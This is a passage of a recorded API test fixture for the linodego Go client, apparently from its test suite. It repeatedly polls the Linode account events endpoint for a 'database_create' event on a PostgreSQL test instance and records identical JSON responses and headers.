'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:12:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:12:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:13:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:13:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:13:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:13:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:14:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:14:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:14:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:14:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:15:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:15:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:15:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:15:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:16:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:16:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' 